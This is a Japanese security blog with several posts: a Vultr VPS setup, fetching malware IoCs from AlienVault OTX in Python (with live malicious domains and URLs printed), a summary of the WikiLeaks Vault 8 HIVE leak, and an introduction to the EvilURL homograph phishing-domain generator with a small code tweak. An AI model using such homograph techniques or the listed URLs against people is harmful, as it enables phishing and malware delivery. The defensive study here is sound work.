ほんとは2.5ドルでいけるっぽいけど「Sold Out」なのでタイトルも5ドルにしといた

 

VPS

ちょこっとスクリプトを動かしたい、マルウェアをダウンロードしたい、自分用に便利なAPI作って起動しておきたい、などこまごまとしたことをするのに何か所かVPSあると便利なのだけど、国内格安VPS使ってもちょっと面白みもないので海外の格安VPSを使ってみたいというだけの話でございます。

 

Vultrのサイトは以下になります。

 

https://www.vultr.com/

 

なぜVultr?

cheap VPS compare などと検索をして、いくつかの比較サイトを見た結果、LINODEやDigital Ocean、f(x) data cloud あたりが気になったところだけどVultrというサービスを使ってみることに。比較サイトのリンクをクリックして行くと$10のクレジットがつくよということだったのもあり。まあ大した理由はありやせん。

 

ユーザー登録

ユーザー登録・・・は割愛しますが、(1)メールアドレスとパスワードを入力してログイン状態へ、その後(2)クレジットカード情報を入力して登録、という流れですが、どうも同時にDeposit(先払い)で課金しておけるようだけど、上述の通り最初から紹介リンクからの登録のため$10つくということだったのでそこは$0にしました。ちなみにJCBも使えました。CISSPのAnnual Maintenance Fee(AMF)の支払いにJCBが使えず腹が立っていたところだったのでホッとしました。
 

ユーザー確認

クレジットカード情報の登録が終わると、新規インスタンスのデプロイ画面に飛びますがページ上部に「メールの確認しておいてね」とあるのでユーザー登録時のメールあてに来ているメールを確認します。あらかわいい。

 

 メールアドレスの確認をうながされているさま。(HTMLメール)

 

この「Verify Your E-mail」をクリックすると、確認が完了してあらためて新規インスタンスのデプロイ画面に遷移します。HTMLメールは無効化しましょうとか馬鹿じゃないのっていうね。まあいいか。

 

新規インスタンスのデプロイ

デプロイできるインスタンスは3種類あるようです。

  • Vultr Cloud Compute(VC2)
  • Storage Instance
  • Dedicated Instance

それぞれ名前の通り、仮想プライベートサーバー、ストレージ、専用サーバー、ということなのだと思いますが、ロケーション「Tokyo」だとStorage InstanceとDedicated Instanceは「Currently Sold Out」となっており選択できませんでした。Storage InstanceにいたってはどのLocationもSold Outだったので、いまのところ使いようがないようです。これは本当に売り切れなのかまだリソースが用意されていないのかよくわかりませんが、今回はVPSを使いたいだけだったのでVC2を選択していきます。

 

Storage InstanceはSold Outで選択できないさま。

 

Server Location

LocationはTokyoを選択。

 

 

せっかくならParisとかも面白そうだけどTokyoにしたらどんなところで稼働するのか見てみたいというのもあり、とりあえず。ほかのLocationは後で追加すればよい話だ。金ならある。

 

Server Type

サーバータイプはOSだけではなく独自にISOアップロードやISO Libraryなる変わったOSがならぶカテゴリー、はたまたApplicationというタブでは稼働させたいアプリケーションから選択することも可能。Docker、GitLab、OpenVPNあたり便利に使えちゃいそうだなと思いました。Minecraftなんかもある(笑)

 

色々なアプリケーション。

 

Windows OSはWindows Server 2012 R2Windows Server 2016が選択可能。それぞれ$16/monかかるので、最小スペックで$26/monかかる。

 

やっぱりWindows Server動かすとなるとあまりお得感がないと思いきや、AWS計算機でWindows、t1.micro、40GBのSSD EBSをつけたところで$20中盤くらいにはなりそうなのでお手軽感をお金で買うとしたらかなりイイ線いってるのかもしれない。LocationがTokyoということを考えるとさらに。

 

 

 

CentOS7 + $5プランにしました!

Windows Serverも良いけどWindowsならAzure使いたいので、ここはひとつCentOS 7、Server Sizeは以下のスペックのフル稼働で月間$5のプランにしました。めんどくさくなってきたのでここからDeployまで一気に。

  • 1 CPU (1 Core?)
  • 25GB SSD
  • 1024MB Memory
  • 1000GB Bandwidth
 

選択したプラン。

 

DebianかUbuntuにしたいところだけど、別件でCentOSを使ったところシステム管理系ツールが知っているものとガラッと変わっていて面食らったので特訓も兼ねてということで。

 

残りは起動後の設定を少々含むのでこのあたりも自動化されてるのでしょうねというところ。特に気になったのが「DDoS Protection」。

 

DDoS Protectionは限られたロケーションで使用可能。

 

Tokyoの場合DDoS Protectionは有効にできないため他ロケーションにしようかと思いましたが、DDoS Protectionを有効にするためには$10/monの追加料金が必要になるようだったので今回は使わないことにしました。何かのサービスをOEMで使っているのかな?

4 Additional Featuresでは以下のオプションが選択できます。今回はすべて無効。

  • Enable IPv6 … IPv6。これ無効化するの面倒。(誰かに怒られそう)
  • Enable Private Network … プライベートネットワーク。グローバルIP持たせず内部サーバーとして動かせる感じでしょう。複数台で組む場合いいね!
  • Enable Auto Backups ($1.00/mon) … 自動バックアップ。これ安いですねぇ。
  • Enable DDoS Protection ($10/mon) … DDoS対策

 

5 Startup Script

これはインスタンス作成時の話?プロビジョニングだろうか。「Manage」とあるので同構成のサーバーを組む時等に使えるのでしょうね。今回は無効。

 

6 SSH Keys

これも「Manage」とあるのを見ればわかる通り、管理コンソールでSSHキーペアの管理ができ、どれを使う?という選択ができるみたい。 しかし今回はパスワード認証で。まあちゃんとしたのを設定すればそうそう破られませんよ。

 

 

サーバー管理画面に遷移。

 

 

Installing…と出るが、1分も経たないうちに「Manage」と出ます。Manageしてみます。

 

 

Manage。

 

帯域、CPU Usage、現在の課金額含めわりと細かく出ます。

 

rootのパスワードは勝手にランダム文字列で設定されてるようです。 でもわりとセキュアなパスワードなので安心。まあ大丈夫だよ。破られないよ。あとはServer Informationのその他タブを見ていくとわかりますが、気になったところはだいたい以下のようなところ。

  • CPU、ディスク、ネットワークなどの状況は特に追加設定せずに、すぐ見れる
  • グローバルIPアドレスおよび逆引き(グローバルIPアドレス.vultr.com)が自動的に決まっていて管理画面からわかる
  • 「名前をつけてスナップショットをとる」のがワンクリック(数クリック?)でできる
  • 自動バックアップの有効化もワンクリック(数クリック?)でできる
  • DDOS対策はこのLocationではできないので不明だが管理画面からOn/Offできるようだ
 

ログインしてみた

Server Information画面にあるrootのパスワードの目玉アイコンをクリックして出てきたパスワードを使ってログインしてみました。

 

ふつうのCentOS7でした。そりゃそうだ。

 

さて。

 

アフィリエイト機能が面白いですね。

 

以下のリンクからVultr登録して$10課金するところまでいった人がいる場合、わたくしに$10入るしくみです。さあさあみなさん下記リンクからユーザー登録して課金することにより私が幸せ者になれます。

 

https://www.vultr.com/?ref=7272541 (私がじゃんじゃんクレジットを受け取るためのアフィリンク)

 

Vultr、画面がモダンな感じだし、VPSとしてはとてもシンプルだし最安値のプランはSold Outなんかになっちゃってるけどそれ以外は概ね使いやすいのではないでしょうかというところでした。

 

これから活用していく予定なので何か特筆事項あればまた書きたいと思います。

(特筆事項なければ淡々と使うのみ。)

AlienVault Open Threat Exchange is 何?

 

AlienVaultのOpen Threat eXchange(OTX)は、コミュニティーでIoC(Indicator of Compromise)その他の脅威情報を交換するためのオープンなコミュニティベースのプラットフォームで、アカウント登録をすれば誰でも無料で使用することができる。

 

AlienVaultは、OTXのプラットフォーム以前から無償で使用できるSIEM的な位置づけのOSSIM、またその商用版のUSM、またオープンソースのホスト型IDS兼ログIDSともいえるOSSECのサポートなど手広いソリューションを提供している。

 

これを知ったのはOSSECからで、なんだか怖い名前の企業がOSSECの商用サポートしているようだぞというところ、SIEMみたいなものも持っているみたいだぞ、というところで、もちろん使ってみたがかなりスペックを要求されることや、どうもちゃんと動かすには細かい設定のチューニングやメンテナンスが必要のようだ、ということで敬遠していた。

 

OSSIM、USMを提供しているベンダー、くらいにしか思っていなかったが、脅威情報を交換するプラットフォームOpen Threat Exchangeを提供しはじめた。これが登録ユーザーも増え、活用している人も多いようなので具体的な活用方法を模索していきたいと思う。

 

AlienVaultについてはWikipediaがわかりやすいかもしれない。 https://en.wikipedia.org/wiki/AlienVault

OTXについてはユーザーガイドがありOTXについて、その中で使われる概念のPulse、アカウントの作成、その他使い方が一通り載っている。英語のドキュメントしか見当たらないので、そのうち日本語訳してうざブログに書いていきたいと思う。 

 

OTXユーザーガイド: https://www.alienvault.com/doc-repo/OTX/user-guides/AlienVault-OTX-User-Guide.pdf

OTXの使い方とか概要

直観的にわかるのであまりちゃんと書くつもりもないけども。。。

アカウントの作成

上記の通りアカウントの作成方法もあるが特殊な事はないので下記にアクセスしてアカウント作ればいいと思うよ。 https://otx.alienvault.com/

 

なおアカウントはOTX独自アカウント以外にFacebook、Twitter等のアカウントで利用することもできるのでお好みで。

Pulse

OTXでは、脅威情報(IoC)の登録および取得は「Pulse」というものを通して行う。

 

脅威情報を提供する側の人は「Pulse」を作成してそこに登録して、 脅威情報を収集したい側の人は「Pulse」から収集する。

なおPulseとはどういう意味かというと「パルス」ということだそうです。 

 

 

Pulseの中には、IoCが含まれ、この部分が構造化されているので登録や取得が容易になる。 IoCとして登録できるデータの種類は以下のものがある。

  • IPv4
  • IPv6
  • domain
  • hostname
  • email
  • URI
  • URL
  • filepath
  • FileHash-MD5
  • FileHash-SHA1
  • FileHash-ShA256
  • Imphash (import hash)
  • PEhash
  • CIDR
  • mutex
  • CVE

それぞれどのような意味なのかは名前でだいたいわかるが詳しく知りたい場合は公式ドキュメント参照。

 

またPulseへのIoCの登録は、例えばIoCが掲載されているWebページからIoC(IPアドレスなど)を一つずつコピペする必要はなく、例えばURLを入れて「Extract IOCs」とすれば

 

 

このように自動的に抽出してくれる。

 

 

この仕組み、地味に便利。1エントリずつコピペする必要がない。(正しく抽出できているかどうかのチェックは必要)

 

基本的にこういう仕組みを使うのにいちいち人手で100%行うのはバカバカしいと考えているので、たとえ精度が少し悪かろうとこういった機能は徹底的に活用、できれば全自動、どうしても必要な場合のみ人が目で見るというステップを入れれば良いと思うのである。

 

Follow

情報を追いかけたいとき、Followすることができる。TwitterのFollowとさして変わらないかと。 ただ、FollowはユーザーをFollowすることもできるし、Pulseをフォローすることもできる。グループもかな。

 

FollowのほかにSubscribeということをすることもできるが、使ったことがないのでよくわからない。マニュアルを読むときっとわかるでしょう。

 

やりたいこと

  1. 脅威情報をPulseに登録する
  2. Pulseから脅威情報を入手する

つまり脅威情報を取得するのにOTXのPulseを経由する、ということがしたいだけ。

 

データソースから脅威情報を直接入手するのと何が違うかというと、データソースが複数あるということや、構造化データではない時もあること、色々なケースが考えられることなどから、PulseへのIoC登録と当該Pulseからの情報の取得を切り分けておくことで、例えばSIEMやIDSなどにおける収集ロジックはいじることなくデータソースの追加や変更が行えてしまうというのがものすごいメリットとなる。

ひとつ難点をいえば「Open」Threat Exchangeなので情報がオープンになる。 お堅いとこだと「そんな得体のしれないサービスの利用は許さぬ!」なんてこともあるかもしれないけど、そんな場合は別の方法を考えるか、懲戒を覚悟でルールを無視するか、バレないようにやるか、自宅でやるのが良いでしょう。

活用例

ここから具体例。

 

シナリオ

  1. Malware Corpus Tracker (https://tracker.h3x.eu/about) のPulseを作成する。
  2. そして、そのPulseを活用すべくイイ感じでダウンロードする

グループやユーザーをFollowすれば複数のPulseを追いかけることはできるのだと思うが今回は1つのPulseを利用する方法でいってみる。

 

 

Malware Corpus Tracker(説明は割愛)

1. Pulseをつくる

上記Malware Corpus Trackerでは、自動化むけに1か月、1週間、1日、1時間分のデータをそれぞれ用意してくれている。これをありがたく使わせてもらう。

 

1day.phpのURLを使う

 

まず上部メニューから「Create Pulse」をクリック。Pulse作成画面になる。

 

手でIoCをひとつずつ入力しても良いが、上述の通り指定されたURLからIoCぽいものを取得してくれるので、データソースのURL(今回はMalware Corpus Tracker)を入れて「EXTRACT INDICATORS」をクリックする。

 

 

抽出されたIoCが表示されるが、Included IOCsにあるデータのみPulseに登録される。Suggested IOCsのほうに抽出されたデータはおそらく自信がないのでしょう。

 

 

Suggested IOCsを選択し、IOCとして登録したいレコードにチェックを入れてAPPLYをクリックする。すべて登録したい場合はタイトル行のところにあるチェックボックスをクリックすれば良い。

 

 

そして最下部の「NEXT」をクリック。

 

 

次にこのPulseの名前や情報公開範囲を設定する。なお「TLP」については「?」をクリックすると説明のあるUS CERTかどこだかのページが開かれる。JPCERTの早期警戒情報等を見ている人は「アンバー」とかいうとピンとくるでしょう。

 

Description等は任意なので今回は入れていない。AmberでPRIVATEに。(Amberを選択すると自動でPRIVATEになった)

できたらNEXT。

 

 

 

これで作成完了。Related Pulsesは、同じIOCをもつPulseが参照できるのかな。素晴らしい。

 

 

ここで、作成したPulseのURL https://otx.alienvault.com/pulse/XXXXXXXXXXXXXXXXXXXXXXXXXX/のXXXXの部分がこのPulseのIDになるので、控えておきましょう。(あとでも見れるが)

 

そして、このPulseのページ右上の「Download」からCSVやOpenIOC、STIX等の形式でダウンロードできるが、PulseをPrivateにした場合はログイン状態でないとダウンロードできない(Pulse not foundとなった)ため、APIからのアクセスが必要。APIを使って取得するには以下のようにする。

 

2. APIでPulseを取得する

メニューから「API」を選ぶと色々な方法が準備されていて、それぞれリンクがあるが、いずれもGithubリポジトリに飛ぶ。今回使用するのはPythonのDirect Connect SDK。

 

インストール方法や簡単な使い方等は下記リンクをたどれば書いてある。

2-1. OTXv2をpipでインストール

※ここでの環境はAnacondaでインストールしたPython3および周辺ツール・モジュール。

 
$ pip install OTXv2
Collecting OTXv2
  Downloading OTXv2-1.2.tar.gz
Collecting simplejson (from OTXv2)
  Downloading simplejson-3.12.0-py3-none-any.whl (51kB)
    100% |████████████████████████████████| 61kB 606kB/s 
Building wheels for collected packages: OTXv2
  Running setup.py bdist_wheel for OTXv2 ... done
  Stored in directory: /home/username/.cache/pip/wheels/e5/1d/3f/ceeb09cc8a9773fde86a38d56157e7e3f68fbfb982c7bfc0d4
Successfully built OTXv2
Installing collected packages: simplejson, OTXv2
Successfully installed OTXv2-1.2 simplejson-3.12.0

 

2-2. OTXv2モジュールを使用してPulse内のIoCを取得

APIキーとPulseのIDが必要なのでメモしておく。

 

APIキーは、OTXのメニュー「API」から、DirectConnect APIの右上にあるので、これをコピーする。 

 

 

 

Pulse IDは、作成したPulseを開き(右上ユーザー名→PROFILEから自分の作成したPulseへ)、URLのhttps://otx.alienvault.com/pulse/XXXXXXXXXX のXXXXXXXXXの箇所にある文字列を取得。

 

ではPythonで実行してみます。そう、ipythonでね。

 

普通にPythonスクリプトを書いてももちろん実行できるのでそこは適宜。 In [n]とかOut [n]というところはipythonのプロンプトなのでコードではありませんのでご注意を。

 

$ ipython3
Python 3.6.1 |Anaconda 4.4.0 (64-bit)| (default, May 11 2017, 13:09:58) 
Type "copyright", "credits" or "license" for more information.

IPython 5.3.0 -- An enhanced Interactive Python.
?         -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help      -> Python's own help system.
object?   -> Details about 'object', use 'object??' for extra details.

In [1]: from OTXv2 import OTXv2, IndicatorTypes
In [2]: otx = OTXv2("================= ここにAPIキーを入れる =================")
In [3]: iocs = otx.get_pulse_indicators("==== Pulse ID を入れる ====")

 

これでiocs1レコード1ディクショナリのリストになっているので、ループなりして個々のデータを取得できる。 なおレコードあたりのディクショナリのキーは以下の通り。

 

In [6]: iocs[0].keys()
Out[6]: dict_keys(['indicator', 'description', 'created', 'title', 'slug', 'content', 'pulse_key', 'type', 'id'])

 

今回作成したPulseのIOCのType名をとってみる。

 

In [13]: set([ioc["type"] for ioc in iocs])
Out[13]: {'IPv4', 'URL', 'domain', 'hostname'}

 

このPulseではIPv4、URL、domain、hostnameの4種類があるようだ。

 

このデータを取り扱う機器やデータセットが必ずしも複数のデータを一括で処理できるとは限らないので、おそらく実際にはIoCタイプごとに取得したい、というようなことになることも多いはず。こんなときは下記のようにすればよい。

 

ちなみにシンプルに書くためにはリスト内包表記が便利。ループを書かなくて良い。

 

IoC TypeがIPv4のIoCのみ取得

In [14]: [ioc["indicator"] for ioc in iocs if ioc["type"] == "IPv4"]
Out[14]: ['195.8.66.1']

 

IoC TypeがdomainのIoCのみ取得

In [15]: [ioc["indicator"] for ioc in iocs if ioc["type"] == "domain"]
Out[15]: 
['alucmuhendislik.com',
 'atlantarecyclingcenters.com',
 'hexacam.com',
 'hgssyouth.com',
 'miamirecyclecenters.com']
 ```

 

IoC TypeがhostnameのIoCのみ取得

In [16]: [ioc["indicator"] for ioc in iocs if ioc["type"] == "hostname"]
Out[16]: 
['www.hexacam.com',
 'www.miamirecyclecenters.com',
 'www.atlantarecyclingcenters.com',
 'www.hgssyouth.com',
 'www.alucmuhendislik.com']

 

TypeがURLのIoCのみ取得

In [17]: [ioc["indicator"] for ioc in iocs if ioc["type"] == "URL"]
Out[17]: 
['http://www.miamirecyclecenters.com/UYGjkdsc82R/UYGjkdsc82R/UYGjkdsc82R/UYGjkdsc82R/UYGjkdsc82R/UYGjkdsc82R/UYGjkdsc82R/UYGjkdsc82',
 'http://alucmuhendislik.com/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf',
 'http://alucmuhendislik.com/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf3/njhgftrf',

 

ちなみにたとえば人が触る画面やらに出力するのでクライアントアプリケーションによるリンクを抑制したいよなんていう時にドットを[.]なんて書く時がある。それをやりたいならリスト内包表記でやってしまえばよい。

In [19]: [ioc["indicator"].replace(".", "[.]") for ioc in iocs if ioc["type"] == "hostname"]
Out[19]: 
['www[.]hexacam[.]com',
 'www[.]miamirecyclecenters[.]com',
 'www[.]atlantarecyclingcenters[.]com',
 'www[.]hgssyouth[.]com',
 'www[.]alucmuhendislik[.]com']

 

では、IoC Type名.txt というファイルで出力する方法を考えよう。このへんになるとPythonの話でしかないけども。

3行で書けちゃう。

python
In [22]: for typename in set([ioc["type"] for ioc in iocs]):
    ...:     with open("{}.txt".format(typename), "w") as out:
    ...:         out.write("\n".join([ioc["indicator"] for ioc in iocs if ioc["type"] == typename]))
    ...:

 

ファイルができている。

$ cat domain.txt 
alucmuhendislik.com
atlantarecyclingcenters.com
hexacam.com
hgssyouth.com

 

今回はPulseの作成~利用までやってみたけど、想像していた通りの簡単さ。

 

そして実はPulseをPrivateにできるっていうのを知らなかったので新しい発見。(ROMだったので…)

また、一度作成したもののやはり中身を更新していきたい。更新しないと価値が半減。ということで次はAPIを使ってPulse内のデータを更新する処理をやってみたいと思う。

 

まとめ: 内定辞退率60% 私のやる気は3%

WikiLeaksがCIAによるマルウェアプラットフォームHIVEのリポジトリを公開

リークサイト(WikiLeaks - Vault 8): https://wikileaks.org/vault8/

Vault 8 is 何?チーン

3行で言うと。

  • 2017年11月9日、 WikiLeaksが、米国CIAによって開発、運用されていた(る?)「HIVE」と呼ばれるプラットフォームのソースコードリポジトリ、およびコミットログを公開し、このリークを「Vault 8」と名付けた
  • 今回の公開にゼロデイ、脆弱性は含まれない(以前のリークのように、悪用されるようなことは起きない)
  • HIVEについては、ドキュメントはVault 7の段階ですでにリークしていたが、これの本体がリークした形

ってかHIVEって何だろう?

Vault 7 / HIVE are 何?チーン

先にVault 7でリークされていた情報からおさらいした方がわかりやすいかもしれないということで。

  • Vault 7におけるHIVE関連のリーク https://wikileaks.org/vault7/#Hive

  • Vault 7でリークされていたHIVEに関するドキュメントは以下の6つ

    • Users Guide (2015年11月9日)
    • Developers Guide (2014年10月15日)
    • Developers Guid (Figures)
    • Hive Beacon Infrastructure
    • Hive Infrastructure Installation and Configuration Guide (2012年11月11日)
    • Infrastructure Switchblade (2014年4月30日)

 

HIVEについて、 Vault7における説明 より抜粋

  • HIVEはVault 7におけるリーク内容の1つで、CIAの"Embedded Development Branch" (EDB)によるプロジェクト「HIVE」に関する6つの文書を公開
  • HIVEは「バックエンドマルウェアインフラストラクチャ
  • ターゲット上で稼働するマルウェア(「インプラント、implants」と表現)からの窃取情報を受け取ったりターゲット上で行うタスクの指示を出したりする
  • 特徴としては、表に立つHTTPSインタフェース(サーバー)が疑わしく見えるものではないため存在に気付くのが極めて困難
  • アンチウィルスベンダーやフォレンジック調査のエキスパートは、一部のインプラントが行う通信から、何らかのバックエンドインフラストラクチャで使用されている、国家主体のマルウェアが存在することは気づいていたがバックエンドがCIAによるオペレーション(作戦)によるものであることまでは特定できずにいた

もう少し詳しく。

  • プラットフォームとしては、WindowsSolaris、ルーターのファームで使われるMikroTikLinuxに対応したカスタマイズ可能なインプラントリッスンポート(LP)、そしてC2インフラストラクチャーからなる
  • インプラントはカバードメインのウェブサーバーとHTTPSで通信し、カバードメインは無制限の数、扱うことが可能
  • ドメインはそれぞれ商用のVPSプロバイダに存在するIPアドレスに解決する
  • フロントのサーバーが受信したトラフィックは、VPNを使用して「Blotサーバー」に転送され、「Blotサーバー」がクライアントからの接続要求を受け付ける
  • インプラントのみが持つ有効なクライアント証明書を受け取った場合のみ、通信は「Honeycomb(ハチの巣)」ツールサーバーに転送されるが、有効なクライアント証明書が存在しない通信についてはあたかも普通のウェブサイトのように見えるサーバーに転送される
  • 「Honeycomb(ハチの巣)」ツールサーバーは、インプラントが収集した情報を受け取ったり、ターゲットコンピューターで行うジョブをインプラントに課したりするため、要はツールサーバーというのはインプラントにとってのC2サーバーといえる

一言でいうと、「それと気づくのが非常に困難な国家主体のボットネット」というところか?。調査しようとしても彼らがバラまいた「インプラント」を相手にしないと正常動作をしないから。アンチフォレンジック、アンチリバースエンジニアリングみたいなものと同じで隠れようとされてしまうとかなり見つけづらい。

 

リークされたVault8のファイル自体はここからダウンロード可能。

https://wikileaks.org/vault8/ → Leaked Documents → Hive Repository

 

中身をざーーーっと見てみたけど、意外とTODO止まりでここ実装されていないのかーとか、「これはマルチプラットフォームとはいえこのOSにしか対応してないんだ?」みたいなところとか、デバッグ用コードなどなどがあったり。そして確かにゼロデイ、脆弱性を利用した攻撃をして、というような箇所は見当たらない(脆弱性、攻撃コードが使われるのはこのインプラントが設置されるまでのフェーズなのでしょう。と思う。)という印象。

 

そしてこの中で、話題になっているのが以下のあたり。SSL証明書でカスペルスキーの名前が使われていたCIAがサイバー空間のスパイ行為でカスペルスキーのフリをしていたということだ。

 

WikileaksのTwitterアカウントのコメント

"New WikiLeaks publication reveals CIA wrote code to impersonate Kaspersky Labs anti-virus company "

「今回のWikiLeaksの公開文書で、CIAがアンチウィルス企業のカスペルスキーをなりすますコードを書いていたことが明らかに」

https://wikileaks.org/vault8/ 

https://twitter.com/wikileaks/status/928651185174794241

 

カスペルスキー氏によると

"We've investigated the Vault 8 report and confirm the certificates in our name are fake. Our customers, private keys and services are safe and unaffected" (Eugene Kaspersky)

「Vault8のレポートを調査し、カスペルスキーの名前が使われていることがわかったがこれらの証明書は偽物だ。我々の(証明書を生成するのに必要な)秘密鍵は漏洩しておらず、サービスは安全で影響もない!真顔(Eugene Kaspersky氏)」

https://twitter.com/e_kaspersky/status/92872943498262528

 

Kasperskyの社名が入っているサーバー証明書

https://wikileaks.org/vault8/document/repo_hive/client/ssl/CA/server_crt/

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc, OU=Certification Services Division, CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
        Validity
            Not Before: Sep 30 20:27:29 2010 GMT
            Not After : Sep 24 20:27:29 2035 GMT
        Subject: C=RU, O=Kaspersky Laboratory, CN=www.kaspersky.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:b7:78:84:a2:8c:c3:c6:5d:fe:0f:8a:a0:b2:b3:
                    08:83:a0:b0:f7:ba:c2:65:a9:03:0f:c0:99:f5:9c:
                    cb:2b:77:ca:1a:30:8b:30:84:98:9d:9d:61:ee:e9:
                    07:3a:7e:f5:68:fc:0b:ef:3a:e7:72:36:a6:77:4f:

 

ここで重要なのは、CIAが「カスペルスキーのふりをする」能力があった、ということ。米国に対するロシアによるスパイ活動におけるカスペルスキー関与説(http://www.newsweekjapan.jp/stories/world/2017/09/post-8452.php)があったりしたわけだが、実はCIA自身がカスペルスキーのふりをしていたよ、ということ。そしてVault8をHIVEのリポジトリの一部としてVault7とは別に個別にリークしたのは、この部分にフォーカスさせる狙いがあったのだろうか。闇が深すぎて底の方がまったく見えないね・・・。

 

日本でもメディアの偏向報道が問題視されたり様々な陰謀論があったりするわけだけど、こういうリークを見ると「当たり前」だと思っていることほど実は操作、ねつ造された事実だったりすることも十分現実的であるし、何が真実なのかなんてわからないなぁ・・・滝汗

 


まとめ: それでも僕は やってない

ブラジル、Undead Secによるフィッシング攻撃等で使われるIDNホモグラフアタックむけのドメイン名生成ツール。

※悪用は厳禁です。

 

元記事タイトル: EvilURL - An Unicode Domain Phishing Generator for IDN Homograph Attack

元記事URL: http://www.kitploit.com/2017/11/evilurl-unicode-domain-phishing.html

EvilURLのgithubページ https://github.com/UndeadSec/EvilURL

Undead Secのgithubページ https://github.com/UndeadSec

 

こういうツールは悪用すると本当に危険で違法行為に繋がりうるわけだけど、こういった手法をしっかりと知り、対策を考えることがとても重要。

IDNホモグラフアタック is 何?爆  笑

引用:Wikipedia:ホモグラフ攻撃

ホモグラフ攻撃(ホモグラフこうげき)は、URLのホスト名の文字として、真正なサイトに酷似した、異なる文字( = 見た目の形が紛らわしい文字)を用いて偽装し、偽のサイトに誘導するスプーフィング攻撃の一種で、同形異字語攻撃ともいう。

IDN」とはInternationalized Domain Nameのことで、ドメイン名にASCII文字(0-9、a-z、-など)以外を使うことができる仕組み。身近なところでいうと日本語ドメインがIDNのひとつ

実際には、これまで使われてきたアルファベットや数字のASCII文字とUnicode文字を変換するための標準化された規格がこの仕組みを支えており、この変換の方式をPunycodeという。

 

攻撃を監視するうえで気にすべきなのは、誰がこの変換を行うのか。DNSクエリとしてUnicodeが飛び交うのか、というところだが、実際にはユーザーエージェントの実装に依存する仕組みなので、ブラウザがPunycode変換を行い、実際に飛び交うDNSクエリは変換後のドメイン名、ということでしょう。

Punycode おねがい

Punycodeはエンコード方式であり、可逆性がある(エンコードして、デコードすると、戻る)。そりゃそうだ。また、ドメイン名なわけなので、重複があってはいけない。 Punycode変換後のドメイン名は先頭に「xn--」という接頭辞がつく

 

具体的な変換手順などのむづかしいはなしについてはWikipediaやRFCへどうぞ

 

実際どのように変換されるかを簡単に見たい場合は、ブラウザのアドレスバーに打ち込んでみれば良い。

 

(価格.comという日本語ドメインを入力してアクセスしようとしているさま)

 

名前解決できていないが、このアドレスバーに打ち込んだ部分を再度メモ帳などにコピペすると変換結果がわかる。

 

(Punycode変換後の文字列があらわれているさま)

 

ただ不審なサイトの調査で実際にアクセスしてしまうのは危険なので、そういったケースではブラウザではなくコンバートツールやPythonを使うこと。

 

Pythonで日本語ドメインからPunycodeに変換するにはstrクラスのencodeメソッドでエンコード方式「idna」を使うencodeメソッドが返すオブジェクトはbytesオブジェクトなのでstrにするにはdecodeも追加する。(文字列だと思ってあれこれしようとすると思わぬ例外が発生しますからね)

In [4]: "価格.com".encode("idna").decode("utf-8")
Out[4]: 'xn--1sqt31d.com'

In [5]: type("価格.com".encode("idna"))
Out[5]: bytes

 

逆にPunycode文字列を戻すには、逆のことをすれば良い

In [21]: "xn--1sqt31d.com".encode("utf-8").decode("idna")
Out[21]: '価格.com'

Python3ではstrオブジェクトはdecodeメソッドを持っていないため文字列からいきなりdecodeしようとするとエラーになる。いったんutf-8等でencodeしてbytesオブジェクトに変換し、そこからデコードする。これ豆な。

 

IDNホモグラフアタック

このIDN(Punycode)の仕組みを悪用したフィッシング攻撃がIDNホモグラフアタック。要は見間違えやすい文字で攻撃のターゲットの人が見た時の「おかしくね?」をバイパスしようとする。

 

ホモグラフアタックといえば、例えばFacebookのドメイン名

facebook.com

 

これに似た文字列で、たとえば小文字のオー(o)を、数字のゼロにする(0)

faceb00k.com

 

ちょっと目立っちゃうので全部大文字にしちゃうとか。

FACEB00K.COM

 

これフォントにもよるけどほぼわからないよねと。

 

IDNの仕組みを使うとさらに巧妙になり、たとえばロシア語キリル文字の「а, с, е, о, р, х, у」は、英字アルファベットの「a, c, e, o, p, x, y」と見た目が酷似している。 ordでUnicodeのコードポイントを見てみると「а」は1072「a」は97であることがわかる。

In [27]: ord("a")
Out[27]: 97

In [26]: ord("а")
Out[26]: 1072

 

さてこの「а」を活用したIDNを作ると、こうなる。 

fаcebook.com

 

はいわからない。こりゃわからない。それではこれをPunycodeで変換してみると・・・

In [29]: "fаcebook.com".encode("idna")
Out[29]: b'xn--fcebook-2fg.com'

xn--が先頭に、そしてfcebookと「a」だと思っていた部分がなくなっており、末尾に"2fg"として付与されていることがわかる。

 

Evil URL

前置きがだいぶ長くなったけど、この仕組みを活用した「フィッシング用ドメイン名生成ツール」が今回紹介するEvil URL。 ソースコードを見ると実に単純で、アルファベットのA、C、E、O、P、S、D、Q、Wがあった場合、「酷似した別の文字」に置換しているだけ。

 

(EvilURLでフィッシングに使えてしまうドメインを生成しているさま)

 

Punycodeも見れた方が便利では?ということで追記。

57c57
<     print('\n{2}[*] Char replaced: %s\n[*] Using Unicode: %s\n[*] Unicode number: %s\n{0}[*] Evil url: %s%s{1}\n-------------------------------'.format(GREEN, END, YELLOW) % (char, unicd, uninum, newurl, end))
---
>     print('\n{2}[*] Char replaced: %s\n[*] Using Unicode: %s\n[*] Unicode number: %s\n[*] Punycode: %s\n{0}[*] Evil url: %s%s{1}\n-------------------------------'.format(GREEN, END, YELLOW) % (char, unicd, uninum, newurl.encode("idna").decode("utf-8"), newurl, end))

 

 (Punycodeも出力されているさま)

 

対策

フィッシングサイトへの誘導等のためにこういった手法についてどうすべきか考えると、「そもそもIDN、Unicode文字の含まれたドメインへのアクセスって業務上必要だっけ?」という観点で考えると、ごく一部のケースでしか使われていないのでは、と思う。また、日本語についていえば日本語ドメインは取得はわりとされているようだが実際に活用されているケースは殆ど見かけないし、大手企業等でも取得はしていても結局本家のASCII文字ドメインへのリダイレクトのみ、なんていうこともある。そこで、ちょっと乱暴かもしれないけど、DNSサーバーでxn--で始まる名前は解決しないようにするよう設定してしまえば、このIDNホモグラフアタックの被害を受けることはない

 

